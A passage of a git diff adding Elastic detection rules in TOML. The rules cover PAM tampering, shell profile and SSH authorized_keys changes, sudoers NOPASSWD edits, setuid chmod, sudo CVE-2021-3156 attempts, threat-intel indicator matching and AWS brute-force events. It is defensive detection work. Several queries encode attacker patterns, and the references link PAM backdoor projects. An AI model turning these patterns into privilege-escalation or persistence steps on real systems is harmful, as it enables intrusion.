rule.""" +references = [ + "https://blog.zoom.us/a-message-to-our-users/", + "https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic", +] +risk_score = 47 +rule_id = "58ac2aa5-6718-427c-a845-5f3ac5af00ba" +severity = "medium" +tags = [ + "Elastic", + "Application", + "Communication", + "Zoom", + "Continuous Monitoring", + "SecOps", + "Configuration Audit", +] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.type:creation and event.module:zoom and event.dataset:zoom.webhook and + event.action:meeting.created and not zoom.meeting.password:* +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1190" +name = "Exploit Public-Facing Application" +reference = "https://attack.mitre.org/techniques/T1190/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/cross-platform/persistence_credential_access_modify_auth_module_or_config.toml b/rules/cross-platform/persistence_credential_access_modify_auth_module_or_config.toml new file mode 100644 index 000000000..d42f57413 --- /dev/null +++ b/rules/cross-platform/persistence_credential_access_modify_auth_module_or_config.toml @@ -0,0 +1,90 @@ +[metadata] +creation_date = "2020/12/21" +maturity = "production" +updated_date = "2021/03/22" + +[rule] +author = ["Elastic"] +description = """ +Adversaries may modify the standard authentication module for persistence via patching the normal authorization process +or modifying the login configuration to allow unauthorized access or elevate privileges. +""" +false_positives = [ + "Trusted system module updates or allowed Pluggable Authentication Module (PAM) daemon configuration changes.", +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Modification of Standard Authentication Module or Configuration" +references = [ + "https://github.com/zephrax/linux-pam-backdoor", + "https://github.com/eurialo/pambd", + "http://0x90909090.blogspot.com/2016/06/creating-backdoor-in-pam-in-5-line-of.html", + "https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html", +] +risk_score = 47 +rule_id = "93f47b6f-5728-4004-ba00-625083b3dcb0" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Linux", "Threat Detection", "Credential Access", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:file and event.type:change and + (file.name:pam_*.so or file.path:(/etc/pam.d/* or /private/etc/pam.d/*)) and + process.executable: + (* and + not + ( + /bin/yum or + "/usr/sbin/pam-auth-update" or + /usr/libexec/packagekitd or + /usr/bin/dpkg or + /usr/bin/vim or + /usr/libexec/xpcproxy or + /usr/bin/bsdtar or + /usr/local/bin/brew or + /usr/bin/rsync or + /usr/bin/yum or + /var/lib/docker/*/bin/yum or + /var/lib/docker/*/bin/dpkg or + ./merged/var/lib/docker/*/bin/dpkg or + "/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service" + ) + ) and + not file.path: + ( + /tmp/snap.rootfs_*/pam_*.so or + /tmp/newroot/lib/*/pam_*.so or + /private/var/folders/*/T/com.apple.fileprovider.ArchiveService/TemporaryItems/*/lib/security/pam_*.so or + /tmp/newroot/usr/lib64/security/pam_*.so + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1543" +name = "Create or Modify System Process" +reference = "https://attack.mitre.org/techniques/T1543/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1556" +name = "Modify Authentication Process" +reference = "https://attack.mitre.org/techniques/T1556/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/cross-platform/persistence_shell_profile_modification.toml b/rules/cross-platform/persistence_shell_profile_modification.toml new file mode 100644 index 000000000..cec0ff93d --- /dev/null +++ b/rules/cross-platform/persistence_shell_profile_modification.toml @@ -0,0 +1,73 @@ +[metadata] +creation_date = "2021/01/19" +maturity = "production" +updated_date = "2021/08/03" + +[rule] +author = ["Elastic"] +description = """ +Both ~/.bash_profile and ~/.bashrc are files containing shell commands that are run when Bash is invoked. These files +are executed in a user's context, either interactively or non-interactively, when a user logs in so that their +environment is set correctly. Adversaries may abuse this to establish persistence by executing malicious content +triggered by a user’s shell. +""" +false_positives = ["Changes to the Shell Profile tend to be noisy, a tuning per your environment will be required."] +from = "now-9m" +index = ["logs-endpoint.events.*", "auditbeat-*"] +language = "kuery" +license = "Elastic License v2" +name = "Bash Shell Profile Modification" +references = ["https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat"] +risk_score = 47 +rule_id = "e6c1a552-7776-44ad-ae0f-8746cc07773c" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Linux", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:file and event.type:change and + process.name:(* and not (sudo or + vim or + zsh or + env or + nano or + bash or + Terminal or + xpcproxy or + login or + cat or + cp or + launchctl or + java)) and + not process.executable:(/Applications/* or /private/var/folders/* or /usr/local/*) and + file.path:(/private/etc/rc.local or + /etc/rc.local or + /home/*/.profile or + /home/*/.profile1 or + /home/*/.bash_profile or + /home/*/.bash_profile1 or + /home/*/.bashrc or + /Users/*/.bash_profile or + /Users/*/.zshenv) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1546" +name = "Event Triggered Execution" +reference = "https://attack.mitre.org/techniques/T1546/" +[[rule.threat.technique.subtechnique]] +id = "T1546.004" +name = "Unix Shell Configuration Modification" +reference = "https://attack.mitre.org/techniques/T1546/004/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml b/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml new file mode 100644 index 000000000..2ea1bead4 --- /dev/null +++ b/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2020/12/22" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +The Secure Shell (SSH) authorized_keys file specifies which users are allowed to log into a server using public key +authentication. Adversaries may modify it to maintain persistence on a victim host by adding their own public key(s). +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "SSH Authorized Keys File Modification" +risk_score = 47 +rule_id = "2215b8bd-1759-4ffa-8ab8-55c8e6b32e7f" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "macOS", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:file and event.type:(change or creation) and + file.name:("authorized_keys" or "authorized_keys2") and + not process.executable: + (/Library/Developer/CommandLineTools/usr/bin/git or + /usr/local/Cellar/maven/*/libexec/bin/mvn or + /Library/Java/JavaVirtualMachines/jdk*.jdk/Contents/Home/bin/java or + /usr/bin/vim or + /usr/local/Cellar/coreutils/*/bin/gcat or + /usr/bin/bsdtar or + /usr/bin/nautilus or + /usr/bin/scp or + /usr/bin/touch or + /var/lib/docker/*) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" +[[rule.threat.technique.subtechnique]] +id = "T1098.004" +name = "SSH Authorized Keys" +reference = "https://attack.mitre.org/techniques/T1098/004/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/cross-platform/privilege_escalation_echo_nopasswd_sudoers.toml b/rules/cross-platform/privilege_escalation_echo_nopasswd_sudoers.toml new file mode 100644 index 000000000..e0df3d8aa --- /dev/null +++ b/rules/cross-platform/privilege_escalation_echo_nopasswd_sudoers.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2021/01/26" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +A sudoers file specifies the commands users or groups can run and from which terminals. Adversaries can take advantage +of these configurations to execute commands as other users or spawn processes with higher privileges. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential Privilege Escalation via Sudoers File Modification" +risk_score = 73 +rule_id = "76152ca1-71d0-4003-9e37-0983e12832da" +severity = "high" +tags = ["Elastic", "Host", "Linux", "macOS", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:start and process.args:(echo and *NOPASSWD*ALL*) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" +[[rule.threat.technique.subtechnique]] +id = "T1548.003" +name = "Sudo and Sudo Caching" +reference = "https://attack.mitre.org/techniques/T1548/003/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/cross-platform/privilege_escalation_setuid_setgid_bit_set_via_chmod.toml b/rules/cross-platform/privilege_escalation_setuid_setgid_bit_set_via_chmod.toml new file mode 100644 index 000000000..428b72f1e --- /dev/null +++ b/rules/cross-platform/privilege_escalation_setuid_setgid_bit_set_via_chmod.toml @@ -0,0 +1,80 @@ +[metadata] +creation_date = "2020/04/23" +maturity = "production" +updated_date = "2021/03/10" + +[rule] +author = ["Elastic"] +description = """ +An adversary may add the setuid or setgid bit to a file or directory in order to run a file with the privileges of the +owning user or group. An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in +an application with the setuid or setgid bit to get code running in a different user’s context. Additionally, +adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the +future. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "lucene" +license = "Elastic License v2" +max_signals = 33 +name = "Setuid / Setgid Bit Set via chmod" +risk_score = 21 +rule_id = "8a1b0278-0f9a-487d-96bd-d4833298e87a" +severity = "low" +tags = ["Elastic", "Host", "Linux", "macOS", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process AND event.type:(start OR process_started) AND + process.name:chmod AND process.args:("+s" OR "u+s" OR /4[0-9]{3}/ OR g+s OR /2[0-9]{3}/) AND + NOT process.args: + ( + /.*\/Applications\/VirtualBox.app\/.+/ OR + /\/usr\/local\/lib\/python.+/ OR + /\/var\/folders\/.+\/FP.*nstallHelper/ OR + /\/Library\/Filesystems\/.+/ OR + /\/usr\/lib\/virtualbox\/.+/ OR + /\/Library\/Application.*/ OR + "/run/postgresql" OR + "/var/crash" OR + "/var/run/postgresql" OR + /\/usr\/bin\/.+/ OR /\/usr\/local\/share\/.+/ OR + /\/Applications\/.+/ OR /\/usr\/libexec\/.+/ OR + "/var/metrics" OR /\/var\/lib\/dpkg\/.+/ OR + /\/run\/log\/journal\/.*/ OR + \/Users\/*\/.minikube\/bin\/docker-machine-driver-hyperkit + ) AND + NOT process.parent.executable: + ( + /\/var\/lib\/docker\/.+/ OR + "/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service" OR + "/var/lib/dpkg/info/whoopsie.postinst" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" +[[rule.threat.technique.subtechnique]] +id = "T1548.001" +name = "Setuid and Setgid" +reference = "https://attack.mitre.org/techniques/T1548/001/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" diff --git a/rules/cross-platform/privilege_escalation_sudo_buffer_overflow.toml b/rules/cross-platform/privilege_escalation_sudo_buffer_overflow.toml new file mode 100644 index 000000000..5a67e5a68 --- /dev/null +++ b/rules/cross-platform/privilege_escalation_sudo_buffer_overflow.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2021/02/03" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the attempted use of a heap-based buffer overflow vulnerability for the Sudo binary in Unix-like systems +(CVE-2021-3156). Successful exploitation allows an unprivileged user to escalate to the root user. +""" +false_positives = [ + """ + This rule could generate false positives if the process arguments leveraged by the exploit are shared by custom + scripts using the Sudo or Sudoedit binaries. Only Sudo versions 1.8.2 through 1.8.31p2 and 1.9.0 through 1.9.5p1 are + affected; if those versions are not present on the endpoint, this could be a false positive. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Sudo Heap-Based Buffer Overflow Attempt" +references = [ + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-3156", + "https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit", + "https://www.bleepingcomputer.com/news/security/latest-macos-big-sur-also-has-sudo-root-privilege-escalation-flaw", + "https://www.sudo.ws/alerts/unescape_overflow.html", +] +risk_score = 73 +rule_id = "f37f3054-d40b-49ac-aa9b-a786c74c58b8" +severity = "high" +tags = ["Elastic", "Host", "Linux", "macOS", "Threat Detection", "Privilege Escalation"] +type = "threshold" + +query = ''' +event.category:process and event.type:start and + process.name:(sudo or sudoedit) and + process.args:(*\\ and ("-i" or "-s")) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1068" +name = "Exploitation for Privilege Escalation" +reference = "https://attack.mitre.org/techniques/T1068/" + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + +[rule.threshold] +field = ["host.hostname"] +value = 100 + diff --git a/rules/cross-platform/privilege_escalation_sudoers_file_mod.toml b/rules/cross-platform/privilege_escalation_sudoers_file_mod.toml new file mode 100644 index 000000000..ede884934 --- /dev/null +++ b/rules/cross-platform/privilege_escalation_sudoers_file_mod.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/04/13" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +A sudoers file specifies the commands that users or groups can run and from which terminals. Adversaries can take +advantage of these configurations to execute commands as other users or spawn processes with higher privileges. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Sudoers File Modification" +risk_score = 47 +rule_id = "931e25a5-0f5e-4ae0-ba0d-9e94eff7e3a4" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "macOS", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:file and event.type:change and file.path:(/etc/sudoers* or /private/etc/sudoers*) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" +[[rule.threat.technique.subtechnique]] +id = "T1548.003" +name = "Sudo and Sudo Caching" +reference = "https://attack.mitre.org/techniques/T1548/003/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/cross-platform/threat_intel_filebeat7x.toml b/rules/cross-platform/threat_intel_filebeat7x.toml new file mode 100644 index 000000000..f742ff29e --- /dev/null +++ b/rules/cross-platform/threat_intel_filebeat7x.toml @@ -0,0 +1,181 @@ +[metadata] +creation_date = "2021/04/21" +maturity = "production" +updated_date = "2021/10/29" + +[rule] +author = ["Elastic"] +description = """ +This rule is triggered when indicators from the Threat Intel Filebeat module (v7.x) has a match against local file or network observations. +""" +from = "now-65m" +index = ["auditbeat-*", "endgame-*", "filebeat-*", "logs-*", "packetbeat-*", "winlogbeat-*"] +interval = "1h" +language = "kuery" +license = "Elastic License v2" +name = "Threat Intel Filebeat Module (v7.x) Indicator Match" +note = """## Triage and Analysis + +### Investigating Threat Intel Indicator Matches + +Threat Intel indicator match rules allow matching from a local observation such as an endpoint event that records a file +hash with an entry of a file hash stored within the Threat Intel Filebeat module. Other examples of matches can occur on +an IP address, registry path, URL and imphash. + +The matches will be based on the incoming feed data so it's important to validate the data and review the results by +investigating the associated activity to determine if it requires further investigation. + +If an indicator matches a local observation, the following enriched fields will be generated to identify the indicator, field, and type matched. + +- `threatintel.indicator.matched.atomic` - this identifies the atomic indicator that matched the local observation +- `threatintel.indicator.matched.field` - this identifies the indicator field that matched the local observation +- `threatintel.indicator.matched.type` - this identifies the indicator type that matched the local observation + +#### Possible investigation steps: +- Investigation should be validated and reviewed based on the data (file hash, registry path, URL, imphash) that was matched +and viewing the source of that activity. +- Consider the history of the indicator that was matched. Has it happened before? Is it happening on multiple machines? +These kinds of questions can help understand if the activity is related to legitimate behavior. +- Consider the user and their role within the company, is this something related to their job or work function? + +### False Positive Analysis +- For any matches found, it's important to consider the initial release date of that indicator. Threat intelligence can +be a great tool for augmenting existing security processes, while at the same time it should be understood that threat +intelligence can represent a specific set of activity observed at a point in time. For example, an IP address +may have hosted malware observed in a Dridex campaign six months ago, but it's possible that IP has been remediated and +no longer represents any threat. +- Adversaries often use legitimate tools as network administrators such as `PsExec` or `AdFind`, these tools often find their +way into indicator lists creating the potential for false positives. +- It's possible after large and publicly written campaigns, curious employees might end up going directly to attacker infrastructure and generating these rules + +### Response and Remediation +- If suspicious or malicious behavior is observed, immediate response should be taken to isolate activity to prevent further +post-compromise behavior. +- One example of a response if a machine matched a command and control IP address would be to add an entry to a network +device such as a firewall or proxy appliance to prevent any outbound activity from leaving that machine. +- Another example of a response with a malicious file hash match would involve validating if the file was properly quarantined, +review current running processes looking for any abnormal activity, and investigating for any other follow-up actions such as persistence or lateral movement +""" +references = [ "https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-threatintel.html"] +risk_score = 99 +rule_id = "dc672cb7-d5df-4d1f-a6d7-0841b1caafb9" +severity = "critical" +tags = ["Elastic", "Windows", "Elastic Endgame", "Network", "Continuous Monitoring", "SecOps", "Monitoring"] +timeline_id = "495ad7a7-316e-4544-8a0f-9c098daee76e" +timeline_title = "Generic Threat Match Timeline" +type = "threat_match" + +threat_index = [ "filebeat-*"] +threat_indicator_path = "threatintel.indicator" +threat_language = "kuery" + +threat_query = ''' +@timestamp >= "now-30d" and event.module:threatintel and + (threatintel.indicator.file.hash.*:* or threatintel.indicator.file.pe.imphash:* or threatintel.indicator.ip:* or + threatintel.indicator.registry.path:* or threatintel.indicator.url.full:*) +''' + +query = """ +file.hash.*:* or file.pe.imphash:* or source.ip:* or destination.ip:* or url.full:* or registry.path:* +""" + + +[[rule.threat_filters]] +[rule.threat_filters."$state"] +store = "appState" +[rule.threat_filters.meta] +negate = false +disabled = false +type = "phrase" +key = "event.module" +[rule.threat_filters.meta.params] +query = "threatintel" +[rule.threat_filters.query.match_phrase] +"event.module" = "threatintel" + +[[rule.threat_filters]] +[rule.threat_filters."$state"] +store = "appState" +[rule.threat_filters.meta] +negate = false +disabled = false +type = "phrase" +key = "event.category" +[rule.threat_filters.meta.params] +query = "threat" +[rule.threat_filters.query.match_phrase] +"event.category" = "threat" + +[[rule.threat_filters]] +[rule.threat_filters."$state"] +store = "appState" +[rule.threat_filters.meta] +negate = false +disabled = false +type = "phrase" +key = "event.kind" +[rule.threat_filters.meta.params] +query = "enrichment" +[rule.threat_filters.query.match_phrase] +"event.kind" = "enrichment" + +[[rule.threat_filters]] +[rule.threat_filters."$state"] +store = "appState" +[rule.threat_filters.meta] +negate = false +disabled = false +type = "phrase" +key = "event.type" +[rule.threat_filters.meta.params] +query = "indicator" +[rule.threat_filters.query.match_phrase] +"event.type" = "indicator" + +[[rule.threat_mapping]] +[[rule.threat_mapping.entries]] +field = "file.hash.md5" +type = "mapping" +value = "threatintel.indicator.file.hash.md5" + +[[rule.threat_mapping]] +[[rule.threat_mapping.entries]] +field = "file.hash.sha1" +type = "mapping" +value = "threatintel.indicator.file.hash.sha1" + +[[rule.threat_mapping]] +[[rule.threat_mapping.entries]] +field = "file.hash.sha256" +type = "mapping" +value = "threatintel.indicator.file.hash.sha256" + +[[rule.threat_mapping]] +[[rule.threat_mapping.entries]] +field = "file.pe.imphash" +type = "mapping" +value = "threatintel.indicator.file.pe.imphash" + +[[rule.threat_mapping]] +[[rule.threat_mapping.entries]] +field = "source.ip" +type = "mapping" +value = "threatintel.indicator.ip" + +[[rule.threat_mapping]] +[[rule.threat_mapping.entries]] +field = "destination.ip" +type = "mapping" +value = "threatintel.indicator.ip" + +[[rule.threat_mapping]] +[[rule.threat_mapping.entries]] +field = "url.full" +type = "mapping" +value = "threatintel.indicator.url.full" + +[[rule.threat_mapping]] +[[rule.threat_mapping.entries]] +field = "registry.path" +type = "mapping" +value = "threatintel.indicator.registry.path" \ No newline at end of file diff --git a/rules/integrations/aws/NOTICE.txt b/rules/integrations/aws/NOTICE.txt new file mode 100644 index 000000000..ff2efb306 --- /dev/null +++ b/rules/integrations/aws/NOTICE.txt @@ -0,0 +1,26 @@ +This product bundles rules based on https://github.com/FSecureLABS/leonidas +which is available under a "MIT" license. The rules based on this license are: + +- "AWS Access Secret in Secrets Manager" (a00681e3-9ed6-447c-ab2c-be648821c622) + +MIT License + +Copyright (c) 2020 F-Secure LABS + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/rules/integrations/aws/collection_cloudtrail_logging_created.toml b/rules/integrations/aws/collection_cloudtrail_logging_created.toml new file mode 100644 index 000000000..c719e0418 --- /dev/null +++ b/rules/integrations/aws/collection_cloudtrail_logging_created.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2020/06/10" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = "Identifies the creation of an AWS log trail that specifies the settings for delivery of log data." +false_positives = [ + """ + Trail creations may be made by a system or network administrator. Verify whether the user identity, user agent, + and/or hostname should be making changes in your environment. Trail creations by unfamiliar users or hosts should + be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS CloudTrail Log Created" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_CreateTrail.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/create-trail.html", +] +risk_score = 21 +rule_id = "594e0cbf-86cc-45aa-9ff7-ff27db27d3ed" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:cloudtrail.amazonaws.com and event.action:CreateTrail and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1530" +name = "Data from Cloud Storage Object" +reference = "https://attack.mitre.org/techniques/T1530/" + + +[rule.threat.tactic] +id = "TA0009" +name = "Collection" +reference = "https://attack.mitre.org/tactics/TA0009/" + diff --git a/rules/integrations/aws/credential_access_aws_iam_assume_role_brute_force.toml b/rules/integrations/aws/credential_access_aws_iam_assume_role_brute_force.toml new file mode 100644 index 000000000..1ae59b920 --- /dev/null +++ b/rules/integrations/aws/credential_access_aws_iam_assume_role_brute_force.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/07/16" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies a high number of failed attempts to assume an AWS Identity and Access Management (IAM) role. IAM roles are +used to delegate access to users or services. An adversary may attempt to enumerate IAM roles in order to determine if a +role exists before attempting to assume or hijack the discovered role. +""" +from = "now-20m" +index = ["filebeat-*", "logs-aws*"] +language = "kuery" +license = "Elastic License v2" +name = "AWS IAM Brute Force of Assume Role Policy" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://www.praetorian.com/blog/aws-iam-assume-role-vulnerabilities", + "https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/", +] +risk_score = 47 +rule_id = "ea248a02-bc47-4043-8e94-2885b19b2636" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Identity and Access"] +type = "threshold" + +query = ''' +event.dataset:aws.cloudtrail and + event.provider:iam.amazonaws.com and event.action:UpdateAssumeRolePolicy and + aws.cloudtrail.error_code:MalformedPolicyDocumentException and event.outcome:failure +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1110" +name = "Brute Force" +reference = "https://attack.mitre.org/techniques/T1110/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + +[rule.threshold] +field = [] +value = 25 + diff --git a/rules/integrations/aws/credential_access_iam_user_addition_to_group.toml b/rules/integrations/aws/credential_access_iam_user_addition_to_group.toml new file mode 100644 index 000000000..50cff5319 --- /dev/null +++ b/rules/integrations/aws/credential_access_iam_user_addition_to_group.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2020/06/04" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = "Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM)." +false_positives = [ + """ + Adding users to a specified group may be done by a system or network administrator. Verify whether the user + identity, user agent, and/or hostname should be making changes in your environment. User additions from unfamiliar + users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the + rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS IAM User Addition to Group" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html"] +risk_score = 21 +rule_id = "333de828-8190-4cf5-8d7c-7575846f6fe0" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:iam.amazonaws.com and event.action:AddUserToGroup and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/aws/credential_access_root_console_failure_brute_force.toml b/rules/integrations/aws/credential_access_root_console_failure_brute_force.toml new file mode 100644 index 000000000..f6dedbb79 --- /dev/null +++ b/rules/integrations/aws/credential_access_root_console_failure_brute_force.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/07/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies a high number of failed authentication attempts to the AWS management console for the Root user identity. An +adversary may attempt to brute force the password for the Root user identity, as it has complete access to all services +and resources for the AWS account. +""" +false_positives = [ + """ + Automated processes that attempt to authenticate using expired credentials and unbounded retries may lead to false + positives. + """, +] +from = "now-20m" +index = ["filebeat-*", "logs-aws*"] +language = "kuery" +license = "Elastic License v2" +name = "AWS Management Console Brute Force of Root User Identity" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html"] +risk_score = 73 +rule_id = "4d50a94f-2844-43fa-8395-6afbd5e1c5ef" +severity = "high" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Identity and Access"] +type = "threshold" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:signin.amazonaws.com and event.action:ConsoleLogin and aws.cloudtrail.user_identity.type:Root and event.outcome:failure +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1110" 